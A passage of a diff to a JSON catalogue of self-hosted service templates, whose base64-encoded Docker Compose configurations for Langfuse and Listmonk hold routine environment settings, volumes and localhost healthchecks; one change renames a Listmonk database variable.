klDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtaCBsb2NhbGhvc3QgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAkU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogM3MKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjoyNi4yLjQuMjMnCiAgICB1c2VyOiAnMTAxOjEwMScKICAgIGVudmlyb25tZW50OgogICAgICAtICdDTElDS0hPVVNFX0RCPSR7Q0xJQ0tIT1VTRV9EQjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2RhdGE6L3Zhci9saWIvY2xpY2tob3VzZScKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9sb2dzOi92YXIvbG9nL2NsaWNraG91c2Utc2VydmVyJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDo4MTIzL3BpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", "tags": [ "ai", "qdrant", @@ -2502,7 +2518,7 @@ "listmonk": { "documentation": "https://listmonk.app/?utm_source=coolify.io", "slogan": "Self-hosted newsletter and mailing list manager", - "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xJU1RNT05LXzkwMDAKICAgICAgLSAnTElTVE1PTktfYXBwX19hZGRyZXNzPTAuMC4wLjA6OTAwMCcKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19uYW1lPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICAgICAgLSBUWj1FdGMvVVRDCiAgICB2b2x1bWVzOgogICAgICAtICdsaXN0bW9uay1kYXRhOi9saXN0bW9uay91cGxvYWRzJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjkwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbGlzdG1vbmstaW5pdGlhbC1kYXRhYmFzZS1zZXR1cDoKICAgIGltYWdlOiAnbGlzdG1vbmsvbGlzdG1vbms6djYuMC4wJwogICAgY29tbWFuZDogJy4vbGlzdG1vbmsgLS1pbnN0YWxsIC0teWVzIC0taWRlbXBvdGVudCcKICAgIHJlc3RhcnQ6ICdubycKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19uYW1lPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfREI9bGlzdG1vbmsKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xJU1RNT05LXzkwMDAKICAgICAgLSAnTElTVE1PTktfYXBwX19hZGRyZXNzPTAuMC4wLjA6OTAwMCcKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19kYXRhYmFzZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgICAgIC0gVFo9RXRjL1VUQwogICAgdm9sdW1lczoKICAgICAgLSAnbGlzdG1vbmstZGF0YTovbGlzdG1vbmsvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5MDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKIC